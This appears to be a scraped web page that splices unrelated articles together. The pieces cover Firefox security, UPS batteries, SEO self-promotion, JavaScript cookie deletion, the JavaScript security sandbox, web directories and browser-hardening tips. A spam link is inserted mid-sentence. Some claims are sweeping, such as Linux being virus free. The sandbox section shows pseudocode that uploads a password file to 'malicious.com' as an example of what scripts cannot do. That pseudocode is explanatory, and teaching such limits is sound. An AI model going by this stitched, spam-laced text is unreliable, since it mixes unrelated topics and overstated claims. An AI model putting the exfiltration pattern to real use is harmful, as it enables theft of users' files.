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Security

While no browser is 100% secure Mozilla Firefox has much better security than Internet Explorer.  Firefox does not support Activex which is a tool that can be used with good and bad intentions.  Activex allows web sites to have more access to Windows.  As a result of this, cyber criminals have taken advantage of it.  This means that viruses and spyware (and sometimes other types of malware as well such as adaware) can take advantage of it, resulting in these programs ending up on the visitors computer (if using Windows at the time).  Spyware is any piece of software that silently gathers information about a user while he/she navigates the Internet and transmits the information to an individual or company that uses it for marketing or other purposes.

Spyware and other types of Malware usually do not target Firefox, but there is some out there that will also get Firefox, but it is rather unlikely that a Firefox user would get it.  Unless for example they install loads of extensions from all kinds of web sites.

If a Firefox user has the cache turned on a Trojan can end up in it.  A cache is an amount of space in which Firefox uses to temporarily store images and other files from sites so you can load the page up quicker if you chose to go back and view the page again. You can turn it off by going to “Tools” then “options” click on the “privacy” tag and then the “cache” tag set the amount of MB’s it’s allowed to use to “0″.  However a Trojan just sit their in the catch and will not do anything unless the user actually opens it. If you have a virus scaner (like AVG) it will be able to remove trojans and worms from your computer.

Spyware, viruses, and other things like this are usually only a Windows issue.  In fact viruses aren’t really an issue with other operating systems such as Linux.  Linux is known to be very secure and virus free.  However some viruses were made for Linux, but they were never distributed out of the lab.  Ubuntu is a popular and rather good Linux distribution for beginners.  It is worth checking out and especially if you have had enough of Windows and it’s many problems such as it’s very bad security.  Linux is very stable and does not just crash like Windows does for some users. (Personally my PC never crashes, but I’ve had some problems before.)

With popular free open source programs such as Firefox, or Linux distributions.  Any security issues  are fixed very quickly.  Unlike for example a software company like Microsoft were it can take years before a security issue has been fixed.  That is of course if it ever gets fixed!

Speed

Simply put, Firefox uses less resources, loads pages faster, and can be tweaked to make best use of your computer. There are guides and tools that can help you get the most out of it. Also note that the Gecko Rendering Engine engine is always being updated as new versions of Firefox come out.

Customizations

Because of the Extension/Theme compatibility that is programmed into Firefox you can just about make it able to do or http://www.seo.tryangled.com/aboutus.php, provided someone has made an Extension/Theme to match your tastes.
You can get very nice Mozilla Firefox and Mozilla Thunderbird themes from http://www.spuler.us

Compatibility

It is, because of Internet Explorer’s huge market share and lack of web standards support that it holds the whole web back from becoming a lot better.  Yes lack of web standards support as in lack of being able to support web page coding that standards compliant browsers such as Firefox, and others that also use the Gecko Rendering Engine Rendering Engine to display web pages with can support.  There are also some other standards compliant browsers that do not use the Gecko Rendering Engine Rendering Engine to display web pages with.

UPS. UPS in this context does not mean United Parcel Service, it means Uninterruptible Power Supply. This is a battery that sits between the wall socket and your computer. If there is a power outage or brownout, the UPS instantly kicks in and keeps your system from crashing.

Depending on the size (and cost) of the UPS, it can keep your system running for a few minutes or for several hours. A large hospital will have huge (and expensive) UPS’s that will keep their computers up for as long as it takes to fire up their backup power generators! This is something that I would appreciate if I were having open-heart surgery at the moment of a blackout, but it is probably beyond the budget of the small business owner or home PC user.

For those of us on a budget, a small UPS may be the best insurance policy we could buy. A small UPS will keep your system running for 5-10 minutes. The purpose is not for you to keep working (as it would in the hospital scenario,) the purpose is to give you enough time to save your work and perform an orderly shutdown. It could save you a fortune in lost data. Another benefit of a UPS is that some of them (the good ones) act as a super surge protector. At least one on the market is warranted to stop a direct lightning strike! It will self-destruct in the process, but it will stop the surge from hitting your PC. That’s a lot of protection for about $100.

A wise old computer guru once told me that the value of a PC is not in the cost of the hardware, the value of a PC is in the data that you store on it. You can always write a check for new hardware, but what will it cost you if you lose your data? Could it be replaced for ANY amount of money? If you depend on a PC for your livelihood, a UPS can be the single best hardware investment you can make.

There are some basic concepts that all search services have to follow. They all follow certain concepts because they are all driven by humans and humans are governed by certain laws of nature. While there are many things different about spidering engines compared to human reviewed directories, specifically in terms of scalability, there are some very important things that are the same. They are the same because whether it is a human doing the indexing and categorizing or a computer program, such as a spider, the spider was programmed by a human and therefore, it can only do what a human told it to do within the limitations of the technology available at the time. The spider is going to do it’s best to emulate what a human would do. It will do whatever it is told to do by a human much faster, but without the skills that are unique to the dominant species.

The moral of the story is, if you want to achieve top placements within an index, whether spider based or human reviewed, you simply have to “think” like a human as opposed to trying to “think” like a computer program. Logic, common sense and human civility towards your fellow man, will win out over any computer language every time. You will get more traffic, (and much, much more importantly — sales), by accepting that you are dealing with a real person, not that different from yourself, instead of thinking you are just a username and password trying to trick a computer.

That is not to say that spidering engines do not have weaknesses that can be exploited, (same goes for human reviewed directories but more on that a little later). they certainly do. It is only saying that to really “see” those weaknesses for what they really are, and “see” how to best take advantage of them to enable you to achieve your own placement objectives, it is a great help to be able to first understand how silly things like hidden text, re-directs and a lot of other on page goofiness is. Once you accept that you are dealing with a human being, although it may be once removed, it is easy to understand what that human being was likely trying to accomplish when they programmed the spider in the first place. Understanding and accepting that gives you a huge advantage over your competitors and opens a lot of doors into the mind of the person or persons creating the index.

It so happens that I am one of the most successful placement specialists on the planet. I’m not claiming to be “the best” or to be some kind of “guru”. I am simply telling you that I have a lot of experience in this field and I have a reputation within the industry for a reason. I really can tell you EXACTLY how to get a number 1 spot on virtually any keyword. I’m willing to bet that there are some reading this even now who can attest to my ability by pointing to their own pages at the top based on something I had addressed. I was able to start doing that by learning and accepting those basic concepts I mentioned earlier.

As long as we are going to open a topic like this, I will help where I can and I believe the best help I can give is to share those basic concepts. What you do with those concepts is up to you. One of my favorite quotes is, “I don’t mind telling you where I think the gold is buried but you have to do your own digging”.

I have said many times in the past that I accept no responsibility whatsoever if you use any advice I give and it doesn’t work. I have no control whatsoever over any action that any search service other than SearchKing may take. I have no inside deal with any service outside of the same PPC deal or trusted feed deals than any one of you could get. So, if you do anything based on what I say and it goes badly, don’t blame me!

On the other hand, I have also often said I am more than happy to accept as much credit as you are willing to give if my advice does help. Still, the purpose of my telling you anything that could apply to search service top placement is more in the way of offering some insight into a different perspective rather than just milking a little verbal pat-on-the-back out of someone. I am only relaying my take on things based on my own personal experiences in the hope of motivating grey matter and intelligent discussion, (present author excluded).

As any discussion of techniques used to get to top spots on search services tends to be heated arguments at worst and lengthy, convoluted and self-congratulatory at best, I will try to keep my offerings at a “reasonable”, (completely subjective term), length. I will discuss the few concepts I am relatively sure of one at a time and only start another discussion after the one has run its course. So here goes the first one.

One thing you may have noticed if you have started writing Javascript to use cookies is that there is no actual delete command that can be used to delete a cookie after you have created it. This doesn’t mean that you can’t delete cookies, it just means that you need to understand how cookies work in order to be able to control when the system will delete them for you.

When you create a session cookie it will continue to exist for as long as the browser remains open and will be deleted as soon as the browser is closed. This is because session cookies are actually retained in memory by the browser and are never actually stored anywhere. You do not specify an expiry date when creating a session cookie.

If you want a cookie to last for a longer (or shorter) time than you get wioth a session cookie you need to create a first party cookie instead. With a first party cookie the cookie is actually stored in a file on your visitor’s hard drive. You specify an expiry date/time when creating a first party cookie that defines how long the cookie is to be retained on the hard drive. The cookie isn’t necessarily deleted when that date/time is reached but cookies that have passed their expiry date/’time are ignored and so as far as the browser is concerned they don’t exist.

So how does this help us if we decide that we need to delete a cookie befre the date/time that it is set to expire? Well the solution is quite simple, we change the expiry date of the cookie so that it will be considered to have already expired. Rather than having to remember what to do each time, let’s just create a small function for deleting whichever cookie that we want.

function del_cookie(name) {
document.cookie = name +
‘=; expires=Thu, 01-Jan-70 00:00:01 GMT;’;
}

Now all we need to do is to call this del_cookie() function passing it the name of whatever cookie it is that we wish to delete. The function will update the expiry date on the cookie to one long in the past so that the cookie will be considered to be expired and will be ignored by the browser exactly the same as if it didn’t exist.

Why choose that particular date for setting the expiry date to delete the cookie? Well it just happens that all of the date processing within Javascript sees the 1st January 1970 as its starting date and actually records all date/times internally as the number of milliseconds from midnight on that day. Using that date therefore is effectively equivalent to setting the expiry to zero which means that the cookie will be deleted even if your visitor has the date on their computer set incorrectly. Were we to choose a more recent date it would be possible (although very unlikely) that one of our visitors might have their computer date set incorrectly to one earlier than the exipry that we chose and so our attempt to delete the cookie wouldn’t then work for them.

In order to do some of our tutorials (or program with PHP and MySQL in general) you need to be able to run PHP and MySQL. Although most free hosts do not have PHP and MySQL support there are some that do, and there are also many low cost hosting options available. If you already have hosting and are unsure if you have PHP and MySQL support you should contact your host directly. If you are shopping for hosting be sure that they support PHP and that your package includes at least one MySQL database.

Another option is to install PHP and MySQL directly onto your Windows computer. If you are a Mac user you already have the capability and just need to activate PHP and MySQL.

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);

2. JavaScript cannot execute any other programs. This would also be unacceptable

execute(’horridvirus.exe’)

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).

document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Think back to the library card catalogue analogy.  In the old card files, and even in today’s computer terminal library catalogues, you find information by searching on either the author, the title, or the subject.  You usually choose the subject option when you want to cover a broad range of information.

Example:  You’d like to create your own home page on the Web, but you don’t know how to write HTML, you’ve never created a graphic file, and you’re not sure how you’d post a page on the Web even if you knew how to write one.   In short, you need a lot of information on a rather broad topic–Web publishing.

Your best bet is not a search engine, but a Web directory like the Open Directory Project,  Google Directory or  Yahoo.  A directory is a subject-tree style catalogue that organizes the Web into major topics, including Arts, Business and Economy, Computers and Internet, Education, Entertainment, Government, Health, News, Recreation, Reference, Regional, Science, Social Science, Society and Culture.  Under each of these topics is a list of subtopics, and under each of those is another list, and another, and so on, moving from the more general to the more specific.

Example: To find out about Web page publishing from Yahoo, select the Computers and Internet Topic, under which you find a subtopic on the Wide World Web. Click on that and you find another list of subtopics, several of which are pertinent to your search: Web Page Authoring, CGI Scripting, Java, HTML, Page Design, Tutorials.  Selecting any of these subtopics eventually takes you to Web pages that have been posted precisely for the purpose of giving you the information you need.

If you are clear about the topic of your query, start with a Web directory rather than a search engine.  Directories probably won’t give you anywhere near as many references as a search engine will, but they are more likely to be on topic.

Web directories usually come equipped with their own keyword search engines that allow you to search through their indices for the information you need.

Important note:  Search engines and  Web directories are being integrated in interesting ways.    For example, if you use the Google search engine and one of the results happens to be found in the Google’s Directory (which is based on the dmoz directory), Google will offer you a link to that section of the directory. Meanwhile, if you conduct your search in the Google directory, Google will order the results according to PageRank, which is   Google’s all-important measure of  “link popularity.”

<desktop.google.com>: For Windows only - a way to search your computer’s contents faster than any built-in finder function. Works very well when it comes to searching Word documents, AOL IM messages, web searches, etc. You can pause it if you don’t want what you’re doing to be indexed by Google. The information isn’t shared with Google itself (you know this because it works even if you are offline). Be sure to read the FAQ. Mac folks get the same functionality in the Spotlight search built into Tiger, the latest version of OSX.

Keyword searches have a tough time distinguishing between words that are spelled the same way, but mean something different (i.e. hard cider, a hard stone, a hard exam, and the hard drive on your computer). This often results in hits that are completely irrelevant to your query. Some search engines also have trouble with so-called stemming — i.e., if you enter the word “big,” should they return a hit on the word, “bigger?” What about singular and plural words? What about verb tenses that differ from the word you entered by only an “s,” or an “ed”?

Search engines also cannot return hits on keywords that mean the same, but are not actually entered in your query. A query on heart disease would not return a document that used the word “cardiac” instead of “heart.”

Occasionally, someone finds a flaw in Firefox (or a plugin) that allows any malicious web site you visit to take over your computer. This is less of a problem in Firefox than in some other browsers: according to research by Brian Krebs, Internet Explorer users were vulnerable to at least one known critical vulnerability for 70% of the days in 2005, while Firefox users were vulnerable for 5% of 2005.

Following these measures will keep Firefox from being vulnerable to these severe security holes most of the time:

* Let Firefox keep itself up-to-date. It usually does this automatically.
* Make sure your plugins, such as Flash and Java, are up-to-date. If you’re using Windows, see this page for instructions. (Hopefully, future versions of Firefox will warn when you have outdated plugins; see bug 271559.)

These optional measures that make your computer less likely to be infected with malware, even if your software is vulnerable:

* Restrict which browser features untrusted web sites can use. For example, many security holes in web browsers involve JavaScript or are difficult to exploit without JavaScript. An extension called NoScript allows you to restrict which sites are allowed to use JavaScript and plugins. Of course, this requires you to make decisions such as “should I trust this site to run JavaScript?” frequently when you visit new sites, and if your answer is always “yes”, it doesn’t protect you much. (Bug 38966, Bug 339056 and bug 94035 propose adding similar features to Firefox itself.)
* Avoid visiting malicious web sites. In particular, avoid visiting untrusted sites that feature:
o Song lyrics. Instead of searching for song lyrics using Google, search SongMeanings.net or try the band’s web site.
o Porn. If you look at porn, start somewhere safe, such as Tiava or MyFreePaySite.
o Pirated software. Instead of pirating software, consider looking for an open-source alternative.
* Consider using anti-virus software software, so that if a security hole is exploited in order to install a piece of common malicious software, the malicious software might not be allowed to run. You can’t rely on this kind of software to keep you safe because new viruses and spyware appear all the time, but it can be useful as a last line of defense.
* Consider using an operating system that usually isn’t targeted by authors of malicious software. For example, Mac OS X users are attacked much less often than Windows users (as of December 2006). Because of this, a Mac user without anti-virus software is quite a bit safer than a Windows user with anti-virus software.